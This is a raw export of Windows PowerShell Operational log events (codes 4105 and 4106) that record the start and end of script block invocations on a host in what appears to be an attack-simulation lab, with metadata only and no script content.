Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040951
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040950
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040949
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040948
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040947
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040946
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040945
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040944
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040943
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040942
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040941
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040940
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040939
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040938
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040937
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040936
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040935
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040934
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040933
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040932
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040931
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040930
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040929
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040928
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040927
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040926
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040925
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040924
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040923
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040922
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040921
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040920
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040919
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040918
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040917
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040916
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040915
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040914
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040913
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040912
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040911
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040910
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040909
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040908
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040907
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040906
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040905
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040904
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040903
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040902
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040901
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040900
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040899
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
